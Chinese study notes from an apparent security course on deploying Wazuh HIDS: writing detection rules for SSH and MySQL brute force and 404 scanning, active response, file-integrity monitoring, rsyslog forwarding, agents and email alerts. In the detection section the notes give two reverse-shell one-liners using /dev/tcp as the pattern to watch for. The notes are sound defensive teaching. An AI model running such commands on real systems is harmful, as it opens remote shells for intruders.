本周重点
①日志检测与HIDS系统
②Wazuh的应用
③Wazuh配合syslog的应用
④Wazuh配置邮箱预警
⑤Wazuh与Elastic整合
⑥Wazuh检测木马与配置
⑦各类日志分析工具(详见笔记)
本周主要内容
①日志检测与HIDS系统
一、安全服务工程师岗位职责
网络安全服务工程师的职责主要包括以下几个方面:
- 等级保护项目整改:参与等级保护2.0相关项目的整改工作,包括售前测试、售后实施和维护。
- 安全产品实施与维护:负责实施防病毒、防火墙、入侵检测系统、数据库审计、日志审计等安全产品,并根据等级保护测评结果配置相应产品策略。
- 网络安全事件应急处理:在网络安全事件发生时,进行应急响应和处理,确保业务系统的安全稳定运行。
- 客户培训:为客户提供产品培训和网络安全基础培训,提高客户的安全意识和防护能力。
- 安全监控与日志分析:监控网络安全状态,分析安全设备日志,如防火墙、WAF、抗DDoS设备等,以发现潜在的安全威胁。
- 安全扫描与渗透测试:使用安全扫描工具进行风险评估、漏洞扫描、渗透分析等,以识别和修复安全漏洞。
- 安全加固与优化:对公司各类系统进行安全加固,提升系统的安全性,并对安全事件进行响应和清理。
- 安全技术研究与创新:跟踪最新的安全技术和行业动态,进行安全防范技术和黑客技术的研究,以提升公司的安全防护能力。
二、学习的内容
1、日志分析和HIDS
2、流量分析和NIDS
3、入侵排查
4、等保测评
5、护网专项
三、日志分析和HIDS
1、IDS:Intrusion detection system 入侵检测系统
第一类:HIDS 主机入侵检测系统,基于操作系统的文件或日志,不关注网络流量
第二类:NIDS 网络入侵检测系统,关于网络流量,不关注主机文件或日志,该系统的劣势:对于加密流量存在检测难题
2、IPS: Intrusion protection system 入侵防御系统
第一类:基于网络流量的IPS,不仅可以发现非法流量,还可以直接阻断该流量,(部署方式:串联部署,不能旁挂)
第二类:基于web服务器或各类应用服务器,比如:Nginx,apache,tomcat,iis,weglogic,部署的WAF(Web application firewall)系统
3、两类系统的部署方式
ips系统采用串联,NIDS也是串联模式,HIDS采用旁挂
②Wazuh的应用
一、HIDS和Wazuh安装
1、安装步骤
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
echo -e '[wazuh]\ngpgcheck=1\ngpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH\nenabled=1\nname=EL-$releasever - Wazuh\nbaseurl=https://packages.wazuh.com/4.x/yum/\nprotect=1' | tee /etc/yum.repos.d/wazuh.repo
yum -y install wazuh-manager
2、wazuh目录结构
drwxr-x---. 3 root wazuh 17 5月 13 14:13 active-response 主动响应的脚本的存放路径
drwxr-x---. 2 root wazuh 286 5月 13 14:13 agentless 设置不用代理的脚本
drwxr-x---. 4 root wazuh 42 5月 13 14:13 api
drwxr-x---. 5 root wazuh 44 5月 13 14:13 backup
drwxr-x---. 2 root wazuh 4096 5月 13 14:13 bin wazuh常用可执行程序目录
drwxrwx---. 7 wazuh wazuh 242 5月 13 14:13 etc 存放全部的配置文件和解码器、规则文件的目录
drwxr-x---. 5 root wazuh 48 5月 13 14:13 framework
drwxr-x---. 2 root wazuh 183 5月 13 14:13 integrations
drwxr-x---. 2 root wazuh 252 5月 13 14:13 lib
drwxrwx---. 8 wazuh wazuh 194 5月 13 14:14 logs 存放日志文件,重点关注:alerts/alerts.log alerts/alerts.json 、active-response.log
drwxr-x---. 15 root wazuh 199 5月 13 14:13 queue
drwxr-x---. 5 root wazuh 46 5月 13 14:13 ruleset 存放wazuh提供默认的解码器和规则文件的目录
drwxr-x---. 5 wazuh wazuh 64 5月 13 14:14 stats
drwxrwx--T. 2 root wazuh 6 5月 13 14:13 tmp
drwxr-x---. 9 root wazuh 106 5月 13 14:14 var
drwxr-x---. 6 root wazuh 93 5月 13 14:13 wodles
3、服务启动和停止
启动服务
systemctl start wazuh-manager
前端启动
bin/wazuh-control start
观察启动的结果
bin/wazuh-contrl status
4、主配置文件 /var/ossec/etc/ossec.conf
5、wazuh系统架构
6、例子:监控SSH登录日志
监控日志文件的步骤
1、在主配置文件中,加入需要监控的文件路径 /var/ossec/ossec.conf
<ossec_config> <localfile> <log_format>syslog</log_format> <location>/var/log/secure</location> </localfile> </ossec_config>
2、解码器的配置
sshd[8813]: Accepted password for root from 192.168.10.1 port 1066 ssh2
Failed password for root from 192.168.230.1 port 30723 ssh2
54 <decoder name="sshd"> 定义解码器的名称 55 <program_name>^sshd</program_name> 匹配日志当中以sshd开头的程序 56 </decoder> 57 58 <decoder name="sshd-success"> 登录成功的解码器 59 <parent>sshd</parent> 引用父解码器 60 <prematch>^Accepted</prematch> 预匹配,粗匹配 ,如果日志中出现了 以 Accepted 开头的行 61 <regex offset="after_prematch">^ \S+ for (\S+) from (\S+) port (\S+)</regex> 精确匹配,以给出的正则进行精确匹配,offset="after_prematch" 表示在prematch匹配的内容之后 正则中的(xxx) 用来提取变量数据,提取的变量给后面的 <order>用 62 <order>user, srcip, srcport</order> 存储解码器提取的变量,这里的user、srcip、srcport来自于上面的节点中的正则表达式,顺序要一致 63 <fts>name, user, location</fts> 64 </decoder> 65 66 <decoder name="ssh-denied"> 67 <parent>sshd</parent> 68 <prematch>^User \S+ from </prematch> 69 <regex offset="after_parent">^User (\S+) from (\S+) </regex> 70 <order>user, srcip</order> 71 </decoder> 72 73 <decoder name="sshd-success-solaris"> 74 <parent>sshd</parent> 75 <prematch>^User </prematch> 76 <regex offset="after_prematch">^(\S+), coming from (\S+), </regex> 77 <order>user, srcip</order> 78 <fts>name, user, location</fts> 79 </decoder> 95 <decoder name="ssh-failed"> 96 <parent>sshd</parent> 97 <prematch>^Failed \S+ </prematch> 98 <regex offset="after_prematch">^for (\S+) from (\S+) port (\d+)</r egex> 99 <order>user, srcip, srcport</order> 100 </decoder>
3、匹配规则
<group name="syslog,sshd,"> 规则分组,name代表日志文件的类型 <rule id="5700" level="0" noalert="1"> 规则1 id=5700, 级别为0,noalert=1无需预警 <decoded_as>sshd</decoded_as> 引用解码器的名字 <description>SSHD messages grouped.</description> 描述: </rule> <rule id="5701" level="8"> 规则2 编号5701 规则的级别8 <if_sid>5700</if_sid> 引用父规则的编号,说明基于某个父规则来执行本条规则 <match>Bad protocol version identification</match> 匹配的内容 <description>sshd: Possible attack on the ssh server (or version gathering).</description> 描述 <mitre> 引用相关标准中的规则编号 <id>T1190</id> </mitre> <group>gdpr_IV_35.7.d,gpg13_4.12,nist_800_53_SI.4,pci_dss_11.4,recon,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group> 标准分组 </rule> <rule id="5702" level="5"> <if_sid>5700</if_sid> <match>^reverse mapping</match> <regex>failed - POSSIBLE BREAK</regex> <description>sshd: Reverse lookup error (bad ISP or attack).</description> <group>gdpr_IV_35.7.d,gpg13_4.12,nist_800_53_SI.4,pci_dss_11.4,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group> </rule> <rule id="5716" level="5"> <if_sid>5700</if_sid> <match>^Failed|^error: PAM: Authentication</match> <description>sshd: authentication failed.</description> <mitre> <id>T1110</id> </mitre> <group>authentication_failed,gdpr_IV_35.7.d,gdpr_IV_32.2,gpg13_7.1,hipaa_164.312.b,nist_800_53_AU.14,nist_800_53_AC.7,pci_dss_10.2.4,pci_dss_10.2.5,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group> </rule> <rule id="5763" level="10" frequency="8" timeframe="120" ignore="60"> frequency表示频率,timeframe表示频率计算的时间周期,代表在120秒之内,连续出现8次5760规则匹配 <if_matched_sid>5760</if_matched_sid> 用于计数的规则编号 <same_source_ip/> 来自于同一个IP地址 <description>sshd: brute force trying to get access to the system. Authentication failed.</description> <mitre> <id>T1110</id> </mitre> <group>authentication_failures,gdpr_IV_35.7.d,gdpr_IV_32.2,hipaa_164.312.b,nist_800_53_SI.4,nist_800_53_AU.14,nist_800_53_AC.7,pci_dss_11.4,pci_dss_10.2.4,pci_dss_10.2.5,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group> </rule> </group>
4、输出到日志
** Alert 1715587734.577633: - syslog,sshd, 2024 May 13 16:08:54 localhost->/var/log/secure Rule: 5762 (level 4) -> 'sshd: connection reset' Src IP: 192.168.230.1 Src Port: 31830 User: by May 13 16:08:53 localhost sshd[20899]: Connection reset by 192.168.230.1 port 31830 [preauth]
二、MySQL日志
1. 处理MySQL日志并且预警
1、配置ossec.conf,将MySQL的日志加入到监控中
MySQL日志需要记录,在MySQL的配置文件my.cnf中,打开日志记录的配置
general_log=ON general_log_file=/opt/lampp/logs/mysql.log log_output=file
chmod o+w /opt/lampp/logs
修改ossec.conf
<localfile> <log_format>syslog</log_format> <location>/opt/lampp/logs/mysql.log</location> </localfile>
2、解码器配置,ruleset/decoders/0150-mysql_decoders.xml
<decoder name="mysql_log"> <prematch>\d+ Connect</prematch> </decoder>
3、日志匹配的规则: ruleset/rules/0295-mysql_rules.xml
<rule id="50105" level="3"> <if_sid>50100</if_sid> <regex>\d+ Connect</regex> <description>MySQL: authentication success.</description> <mitre> <id>T1078</id> </mitre> <group>authentication_success,</group> </rule> <rule id="50106" level="9"> <if_sid>50100</if_sid> <match>Access denied for user</match> <description>MySQL: authentication failure.</description> <group>authentication_failed,</group> </rule>
4、重启wazuh-manager,监控日志
./wazuh-control restart tail -f /var/ossec/logs/alerts/alerts.log
5、在MySQL的客户端检验预警是否有效
** Alert 1715594613.597053: - mysql_log,authentication_failed,pci_dss_10.2.4,pci_dss_10.2.5,pci_dss_8.7,gpg13_7.1,gdpr_IV_35.7.d,gdpr_IV_32.2,hipaa_164.312.b,hipaa_164.312.d,hipaa_164.312.e.1,hipaa_164.312.e.2.I,hipaa_164.312.e.2.II,nist_800_53_AU.14,nist_800_53_AC.7,nist_800_53_SC.2,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,tsc_PI1.4,tsc_PI1.5, 2024 May 13 18:03:33 localhost->/opt/lampp/logs/mysql.log Rule: 50106 (level 9) -> 'MySQL: authentication failure.' 10 Connect Access denied for user 'root'@'192.168.230.1' (using password: NO)
2. 检测MySQL暴力破解
问题:如果你发现有人在暴力破解你的MySQL的账户,怎么解决
暴力破解的症状是什么?
在一个时间范围内,反复多次的出现用户名或密码不正确,而且是来自于同一个IP
这样的现象在日志中是不是会呈现多条相同日志
240514 10:47:42 3 Connect root@192.168.230.1 as anonymous on 3 Connect Access denied for user 'root'@'192.168.230.1' (using password: NO) 240514 10:47:43 4 Connect root@192.168.230.1 as anonymous on 4 Connect Access denied for user 'root'@'192.168.230.1' (using password: NO) 240514 10:47:45 5 Connect root@192.168.230.1 as anonymous on 5 Connect Access denied for user 'root'@'192.168.230.1' (using password: NO) 240514 10:47:46 6 Connect root@192.168.230.1 as anonymous on 6 Connect Access denied for user 'root'@'192.168.230.1' (using password: NO) 240514 10:47:47 7 Connect root@192.168.230.1 as anonymous on 7 Connect Access denied for user 'root'@'192.168.230.1' (using password: NO) 240514 10:47:48 8 Connect root@192.168.230.1 as anonymous on 8 Connect Access denied for user 'root'@'192.168.230.1' (using password: NO)
wazuh预警日志:
2024 May 14 10:47:48 localhost->/opt/lampp/logs/mysql.log Rule: 50106 (level 9) -> 'MySQL: authentication failure.' 7 Connect Access denied for user 'root'@'192.168.230.1' (using password: NO)
反复出现50106规则匹配预警
假设10秒中之内出现5次50106,那我们就认为MySQL在被暴力破解
因此在MySQL的匹配规则中,增加以下内容
<rule id="501061" level="10" frequency="5" timeframe="10"> <if_match_sid>50106</if_match_sid> <same_source_ip/> <description>MySQL:疑似MySQL账号暴力破解.</description> <group>attack,</group> </rule>
重要的关注点
1、参数:frequency 表示频率,依据是后面timeframe,组合的意思就是: 在timeframe的时间范围内容发生了frequency设定的次数,激活的前提就是if_matched_id指定的编号的规则。
2、满足上述条件,则激活当前规则
三、检测访问中出现404
监控apache的日志,检测访问中出现404
<rule id="31101" level="5">
<if_sid>31100</if_sid>
<id>^404$</id>
<description>发生404网络错误.</description>
<group>attack,pci_dss_6.5,pci_dss_11.4,gdpr_IV_35.7.d,nist_800_53_SA.11,nist_800_53_SI.4,tsc_CC6.6,tsc_CC7.1,tsc_CC8.1,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
</rule>
<!-- 检测扫描 -->
<rule id="561103" level="10" frequency="3" timeframe="30">
<if_matched_sid>31101</if_matched_sid>
<same_source_ip></same_source_ip>
<description>同一个IP地址不停出现404状态码,疑似扫描.</description>
<group>attack,</group>
</rule>
四、对预警的主动响应
提出意义: 当wazuh从日志中检测到了明显的攻击行为,按照前面的知识来说,wazuh只是进行了预警,并没有采取任何阻止的行为。
面对这种情况,是否可以对该类请求进行阻止
wazuh提供了主动响应的策略和解决方案
![(https://woniumd.oss-cn-hangzhou.aliyuncs.com/test/huminghai/20240514115603.png)
1、主动响应的脚本目录:/var/ossec/active-response/bin
2、必须要在ossec.conf中配置启用主动响应
3、指定一个可用的响应脚本
<active-response>
<command>firewall-drop</command> 指定响应的脚本,理解为需要执行的命令
<location>local</location> 定位到本地
<rules_id>501061</rules_id> 指定触发主动响应的规则编号
<timeout>60</timeout> 超时就放弃执行命令
</active-response>
有哪些脚本:
disable-account: 禁用账户
firewall-drop: 将srcip添加到防火墙的拒绝列表中
firewalld-drop: 将srcip添加到防火墙的丢弃列表中
host-deny: 将srcip添加到/etc/hosts.deny 文件中
ipfw: 同firewall-drop
五、自定义解码器和规则
问题:有一种日志,形式如下:需要wazuh对该种类型的日志,产生预警信息
Dec 25 20:45:02 MyHost example[12345]: User 'admin' logged from '192.168.1.100'
步骤
1、在主配置文件中,开启自定义配置
<ruleset>
<!-- Default ruleset -->
<decoder_dir>ruleset/decoders</decoder_dir>
<rule_dir>ruleset/rules</rule_dir>
<rule_exclude>0215-policy_rules.xml</rule_exclude>
<list>etc/lists/audit-keys</list>
<list>etc/lists/amazon/aws-eventnames</list>
<list>etc/lists/security-eventchannel</list>
<!-- User-defined ruleset 用户定义的规则集 -->
<decoder_dir>etc/decoders</decoder_dir> 解码器的位置
<rule_dir>etc/rules</rule_dir> 规则的位置
</ruleset>
六、系统检测 (监控)
1.文件完整性检测
作用:对操作系统中的指定目录下的文件进行监控,如果这些目录或文件发生变化,wazuh就会进行预警
例如:修改了/etc/passwd文件的内容,修改 /etc/sudoers ,对于普通应用,比如: /opt/lampp/htdocs
保证文件完整性检测功能开启,将需要监测的目录配置到ossec.conf的syscheck节点中
<syscheck>
<disabled>no</disabled> 这里设置为no,表示不禁用
<!-- Frequency that syscheck is executed default every 12 hours 43200 -->
<frequency>30</frequency> 设定检测的频率, 指的多少秒钟执行一次,默认设置为43200
<scan_on_start>yes</scan_on_start> 表示wazuh启动的时候先进行检测
<!-- Generate alert when new file detected -->
<alert_new_files>yes</alert_new_files>
<!-- Dont ignore files that change more than 'frequency' times -->
<auto_ignore frequency="10" timeframe="3600">no</auto_ignore>
<!-- Directories to check (perform all possible verifications) -->
<directories>/etc,/usr/bin,/usr/sbin</directories>
<directories>/bin,/sbin,/boot</directories>
<directories>/opt/lampp/htdocs</directories> 添加需要监测的目录
<ignore>/opt/lampp/htdocs/audit/upload</ignore> 添加需要忽略的目录
....
</syscheck>
测试效果
2024 May 14 15:52:32 localhost->syscheck
Rule: 554 (level 5) -> 'File added to the system.'
File '/opt/lampp/htdocs/shell.php' added
Mode: scheduled
Attributes:
- Size: 26
- Permissions: rw-r--r--
- Date: Tue May 14 15:52:06 2024
- Inode: 101542366
- User: root (0)
- Group: root (0)
- MD5: cc38a3ac2d7918a810464817c49c493d
- SHA1: 2c98f933477cee224d1f69ac8cdf90878bb9a0a1
- SHA256: 03d8b31d5839740aabb85a68add7a3292e2b30fcd5281d2fb50f09ae9b306f93
2、检测反弹shell
反弹shell的格式:
bash -i >& /dev/tcp/192.168.230.138/4444 0>&1
sh -i >& /dev/tcp/192.168.230.138/4444 0>&1
检测反弹shell的命令
ps -ef|grep bash
netstat -anlp|grep /bash
netstat -anlp|grep /sh
ss -apn |grep ESTAB |egrep ‘(“bash”|“sh”)’
要配置检测命令,在ossec.conf
<localfile> <log_format>command</log_format> <command>netstat -anptl</command> <frequency>10</frequency> </localfile>
配置相应的处理规则,0015-ossec_rules.xml
<group name="ossec,"> <rule id="561201" level="0"> <if_sid>530</if_sid> <match>ossec: output: 'netstat -anptl'</match> <description>正在监听反弹Shell</description> <group>process_monitor,</group> </rule> <rule id="561202" level="15"> <if_sid>561201</if_sid> <match>bash</match> <description>监听到反弹Shell</description> <group>process_monitor,attack</group> </rule> </group>
③Wazuh配合syslog的应用
一、Linux系统的syslog
1、syslog是什么,作用有哪些,数据通信方式有哪些?
Syslog(系统日志)是一种标准化的消息记录协议,它广泛用于计算机系统和网络设备来保存和转发日志消息,使得这些消息可以被集中存储、分析和管理。它最初由 Eric Allman 在 1980 年设计,并被大量网络设备、服务器、安全设备等遵循和实现。Syslog 既是一个协议也是一个应用程序接口(API),用于系统管理和安全软件的消息记录。
①Syslog的作用
- 日志记录和监控:
- Syslog 允许系统和网络设备通过标准化方式记录事件和错误。这些日志对于故障排除、系统监控和确保网络及其资源的有效运作至关重要。
- 安全审计:
- Syslog 能够记录所有安全事件,为安全审计提供重要信息。通过分析这些日志,安全团队可以检测、响应和预防安全威胁。
- 合规性:
- 对于许多业务和组织,按照法规保留日志是必须的。Syslog 提供了一种简单的方式来集中管理这些日志,帮助组织满足各种合规性需求,例如 PCI-DSS、HIPAA、SOX 等。
- 故障分析:
- 当系统或网络出现故障时,Syslog 提供的详细日志可以帮助快速识别问题来源,从而加快恢复时间。
- 集中管理:
- 通过将多个设备和应用的日志数据发送到集中的日志服务器,Syslog 有助于简化日志管理,提高效率。
②Syslog的数据通信方式
- UDP(用户数据报协议):
- 最常见的 Syslog 传输方式是通过 UDP 端口 514。UDP 是一种无连接的传输协议,不保证消息的可靠送达。它的优势在于低延迟和较少的通信开销。
- TCP(传输控制协议):
- 对于需要可靠传输的应用,Syslog 也可以通过 TCP 实现。TCP 保证了数据的顺序和可靠性,避免了消息的丢失。这对于安全和审计日志非常重要。
- TLS(传输层安全):
- 在安全敏感的环境中,Syslog 数据可以通过 TLS 加密,以确保在传输过程中的安全性和完整性。这种方式通过防止数据泄露和篡改,提高了 Syslog 传输的安全性。
2、rsyslog是什么,作用有哪些
Rsyslog 是一种开源的日志处理工具,广泛用于 UNIX 和类 UNIX 系统(如 Linux)中。它实现了 Syslog 协议,并且具有高度的可配置性和强大的处理能力,使其能够扩展到处理大量日志数据。Rsyslog 提供了比传统 Syslog 守护程序更多的功能和更高的性能,支持多种插件,包括数据库、邮件、文件过滤等多种输出方式。
③Rsyslog的作用
- 日志收集和处理:
- Rsyslog 能够从各种来源收集日志,包括本地系统日志、网络设备日志及其他服务器日志。它可以处理这些数据,进行过滤、修改和重新格式化操作。
- 日志转发:
- Rsyslog 可以将日志转发到其他日志服务器,实现日志的集中管理。这对于大型网络环境中跨多个服务器和设备的日志管理尤为重要。
- 日志存储:
- Rsyslog 支持多种存储选项,包括但不限于常规的文件系统、数据库和网络服务。这使得日志数据的长期存储、查询和分析变得更加高效和灵活。
- 高性能:
- Rsyslog 设计用于高性能应用,能够处理每秒数千到数万条日志消息。通过使用模块化的输出通道,它可以同时进行日志写入和转发而不影响性能。
- 支持高级过滤:
- Rsyslog 提供了基于内容的过滤功能,这意味着它可以根据日志消息的具体内容来决定如何处理这些消息。这包括正则表达式匹配、条件比较等。
- 安全传输:
- Rsyslog 支持通过 TLS/SSL 加密来安全地传输日志数据,这对于需要保护日志数据免受在传输过程中被监听或篡改的应用场景非常重要。
- 可扩展性和灵活性:
- Rsyslog 的模块化架构允许用户根据需要添加新的功能模块。它的配置系统非常灵活,可以处理极其复杂的日志处理场景。
④Rsyslog的基本语法
Rsyslog 是一种强大的日志处理工具,其配置文件提供了丰富的选项来定义日志的收集、处理和转发方式。配置文件通常位于 /etc/rsyslog.conf
和 /etc/rsyslog.d/
目录中的各种文件内。下面是一些基本的 rsyslog 配置语法和概念,帮助您理解如何使用它来管理日志。
- 模块加载
Rsyslog 功能依赖于各种模块,需要在配置文件中显式加载这些模块:
module(load="imudp") # 加载处理 UDP 输入的模块
module(load="imtcp") # 加载处理 TCP 输入的模块
module(load="imklog") # 加载内核日志模块
- 输入定义
定义 rsyslog 应该从哪里收集日志:
input(type="imudp" port="514") # 监听指定端口的 UDP 日志
input(type="imtcp" port="514") # 监听指定端口的 TCP 日志
- 过滤规则
使用选择器过滤日志。选择器由两部分组成:设施和优先级。
*.info;mail.none;authpriv.none;cron.none /var/log/messages
authpriv.* /var/log/secure
mail.* -/var/log/maillog
cron.* /var/log/cron
*.info
:所有设施的 info 级别及以上日志。mail.none
:排除所有 mail 设施的日志。/var/log/messages
:将符合条件的日志写入/var/log/messages
。
- 日志转发
将日志转发到其他服务器:
*.* @remote-host:514 # 通过 UDP 转发所有日志
*.* @@remote-host:514 # 通过 TCP 转发所有日志
- 模板定义
定义日志的格式或输出路径:
template(name="FileFormat" type="string"
string="/var/log/%$YEAR%/%$MONTH%/%$DAY%/%HOSTNAME%/%syslogtag%-%$hour%.log")
*.* ?FileFormat;RSYSLOG_TraditionalFileFormat
这个模板定义了一个基于日期和主机名的动态日志文件路径。
- 属性替换
使用属性替换创建动态内容或文件名:
$template DynamicFile,"/var/log/%HOSTNAME%/syslog.log"
*.* -?DynamicFile
- 控制流
使用条件语句来处理日志:
if $msg contains 'error' then /var/log/error.log
& stop
如果消息包含 ‘error’,则将其写入 /var/log/error.log
并停止处理此消息。
- 性能优化
通过配置文件设置提高性能,例如使用异步 IO:
$ActionFileEnableSync off
- 调试
开启调试模式以帮助诊断问题:
$DebugFile /var/log/rsyslog_debug.log
$DebugLevel 2
这些是 rsyslog 的一些基本配置元素。根据实际需求,可以深入学习更多高级配置和优化策略。通过组合这些基本元素,可以创建复杂的日志处理规则以适应各种运行环境。
④如何配置rsyslog的服务器和客户端,实现日志服务器的操作
1、服务器端的配置
# Provides UDP syslog reception $$ModLoad imudp $$UDPServerRun 514 # Provides TCP syslog reception $$ModLoad imtcp $$InputTCPServerRun 514 # 将来自IP地址192.168.10.131的日志消息存储到文件 :fromhost-ip,isequal,"192.168.10.131" /var/log/host_128/message.log # 日志消息将被丢弃,不再进一步处理 :fromhost-ip,isequal,"192.168.10.131" ~
重启rsyslog服务
2、客户端的配置
*.* @192.168.10.132:514
重启rsyslog服务
二、wazuh监测syslog
wazuh自带rsyslog的功能,不需要通过rsyslog进程和日志文件中转
实现步骤:
1、在ossec.conf文件中打开远程日志文件接收
<!-- 允许516的UDP端口通过网段Ip -->
<remote>
<connection>syslog</connection>
<port>516</port>
<protocol>udp</protocol>
<allowed-ips>192.168.10.0/24</allowed-ips>
</remote>
<!--级别超过5就发到客户端 -->
<syslog_output>
<level>5</level>
<server>192.168.10.131</server>
<port>514</port>
</syslog_output>
<!--级别超过5就把日志发到服务端 -->
<syslog_output>
<level>5</level>
<server>192.168.10.132</server>
<port>514</port>
</syslog_output>
<!--
<localfile>
<log_format>syslog</log_format>
<location>/var/log/host_128/host*</location>
</localfile>
-->
2、修改server的/etc/rsyslog.conf
# 将来自IP地址192.168.10.131的日志消息存储到文件
# :fromhost-ip,isequal,"192.168.10.131" /var/log/host_128/message.log
# 日志消息将被丢弃,不再进一步处理
# :fromhost-ip,isequal,"192.168.10.131" ~
# 定义了RemoteLogs模板,每个不同的来源 IP 的日志会被存储在不同的文件中
$template RemoteLogs,"/var/log/host_128/host_%fromhost-ip%.log"
# 这些消息按照 RemoteLogs 模板所定义的格式进行存储
# :fromhost-ip,isequal,"127.0.0.1" ?RemoteLogs
# :fromhost-ip,isequal,"192.168.10.131" ?RemoteLogs
# 使用模板记录所有消息
*.* ?RemoteLogs
- 客户端的配置
*.* @192.168.10.132:516
重启rsyslog服务
三、安装agent
一、安装Agent客户端
1、生成Authentication Key
在Manager端运行/var/ossec/bin/manage_agents命令
[root@centqiang bin]# ./manage_agents
选A创建代理
再选E创建密钥
根据客户端的IP地址添加Agent,并生成相应的Key备用。
2、在Windows上安装Agent
(1)保持默认安装,并勾选Run Agent configuration interface
(2)输入Manager IP地址和对应的Authentication key。并在Manager菜单中选择重启服务。
(3)在Manager端运行/var/ossec/bin/manage_agents -l,可以看到以下输出,表示连接成功
Available agents: ID: 001, Name: winseven, IP: any
在Windows操作系统上,wazuh-agent将被安装为系统服务。
(4)重启agent服务,并运行命令确认已经成功连接到manager
netstat -ano
3、在Linux上安装Agent
(1)在客户端电脑上写入repo文件
rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH
cat > /etc/yum.repos.d/wazuh.repo << EOF
[wazuh]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH
enabled=1
name=EL-\$releasever - Wazuh
baseurl=https://packages.wazuh.com/4.x/yum/
protect=1
EOF
(2)安装wazuh-agent
yum install wazuh-agent
(3)设置Agent为自启动
systemctl enable wazuh-agent
(4)修改配置文件指定Manager IP
在Agent客户端编辑 /var/ossec/etc/ossec.conf文件
<server>
<address>192.168.112.195</address>
<port>1514</port>
<protocol>tcp</protocol>
</server>
(5)启动wazuh-agent服务
systemctl start wazuh-agent
(6)在Linux的Agent端同样运行manage_agents命令,导入Key
[root@centqiang bin]# ./manage_agents
选I导入密钥
(7)重启wazuh-agent服务,并运行netstat命令确认连接成功建立。
(8)在服务器端确认代理端是否正常上线:
[root@localhost bin]# ./agent_control -lc
Wazuh agent_control. List of available agents:
ID: 000, Name: localhost.localdomain (server), IP: 127.0.0.1, Active/Local
ID: 001, Name: demo01, IP: 192.168.10.131, Active
二、测试Agent与Manager
1、Windows
(1)在C:\Program Files\ossec-agent文件夹中找到安装目录,并尝试修改ossec.conf
(2)在Windows上添加一个新的账号
(3)在%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup文件夹中添加一个新的文件
(4)在ossec.conf文件中添加对Apache访问日志的监听,并构造404错误
<localfile>
<location>C:\Xampp\apache\logs\access.log</location>
<log_format>syslog</log_format>
</localfile>
(5)如果上述测试完全通过,则其他操作完全一致。
2、Linux
(1)添加一个新的账号,然后删除它
(2)在/etc/目录下创建一个新的文件
(3)启动Xampp服务
(4)访问Xampp页面并产生404错误
三、Agentless无代理配置
在Agentless的配置场景下,可以用于检测目标系统的文件完整性,功能相对较少。
1、使用SSH输入密码登录远程目标
/var/ossec/agentless/register_host.sh add root@example_address.com example_password [enablepass]
2、使用公钥登录远程目标
sudo -u ossec ssh-keygen
https://documentation.wazuh.com/current/user-manual/capabilities/agentless-monitoring/index.html
④Wazuh配置邮箱预警
一、配置Postfix客户端
1、安装mailx邮件客户端
yum install postfix mailx cyrus-sasl cyrus-sasl-plain
早期的邮件客户端通常使用sendmail来发送邮件,而新版本上使用的是postfix进行邮件的发送和接收。在Linux中,只要配置好邮件客户端及SMTP账号后,不仅可以向当前系统的任意账号发送内部邮件,即我们看到的 /var/spool/mail/user 的文本型邮件,也可以向外网正常的邮箱地址发送邮件,如向 12345678@qq.com 发送邮件。
2、配置postfix
编辑 /etc/postfix/main.cf,配置QQ邮箱。
relayhost = [smtp.qq.com]:587 # 此处建议使用587端口(针对QQ邮箱)
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_tls_CAfile = /etc/ssl/certs/ca-bundle.crt
smtp_use_tls = yes
执行命令写入账户密码
# echo [smtp.qq.com]:587 15903523@qq.com:xxxx授权码xxxx > /etc/postfix/sasl_passwd
# postmap /etc/postfix/sasl_passwd
# chmod 400 /etc/postfix/sasl_passwd
# chown root:root /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db
# chmod 0600 /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db
# systemctl reload postfix
3、向本地系统用户发邮件
echo "This is email body" | mail -s "test email" root # 直接使用管道发送简单邮件正文
mail -s "test email" root < /etc/passwd # 直接使用输入重定向的方式读取一个文件内容作为正文
cp /dev/null /var/spool/mail/root # 先清空邮件
使用 mail 命令可以直接查看邮件,输入 序号 查看邮件正文,输入 q 推出, 输入 h 回到邮件列表
4、向外部邮箱地址发邮件
cat /etc/passwd | mail -s "Test Postfix" -r "15903523@qq.com" student@woniuxy.com
mail -s "Test Email Attachment" -r "15903523@qq.com" -a /root/wazuh-filebeat-0.1.tar.gz student@woniuxy.com < /etc/passwd
上述邮件中均需要添加 -r 参数,指定回信地址或发件人地址,否则会以“root@centqiang.localdomain”账户发送导致外发失败。
二、在Wazuh中配置邮箱
编辑核心配置文件:/var/ossec/etc/ossec.conf,在配置文件的开始位置,修改邮箱配置节点如下:
<global>
<email_notification>yes</email_notification>
<smtp_server>localhost</smtp_server>
<email_from>15903523@qq.com</email_from>
<email_to>student@woniuxy.com</email_to>
</global>
另外,在ossec.conf的global节点中,还需要指定针对哪一个级别之上的预警信息发送邮件,比如设置为7级以上:
<alerts>
<log_alert_level>3</log_alert_level>
<email_alert_level>7</email_alert_level>
</alerts>
⑤Wazuh与Elastic整合
一、Elastic Stack介绍
1、Elastic Search
Elasticsearch 是一个分布式、RESTful 风格的搜索和数据分析引擎,能够解决不断涌现出的各种用例。 作为 Elastic Stack 的核心,它集中存储您的数据,帮助您发现意料之中以及意料之外的情况。数字、文本、地理位置、结构化数据、非结构化数据。适用于所有数据类型。
2、Kibana
Kibana 是一个免费且开放的用户界面,能够让您对 Elasticsearch 数据进行可视化,并让您在 Elastic Stack 中进行导航。您可以进行各种操作,从跟踪查询负载,到理解请求如何流经您的整个应用,都能轻松完成。
3、Beats
Beats 是一个免费且开放的平台,集合了多种单一用途数据采集器。它们从成百上千或成千上万台机器和系统向 Logstash 或 Elasticsearch 发送数据。
二、安装与配置
1、一键安装
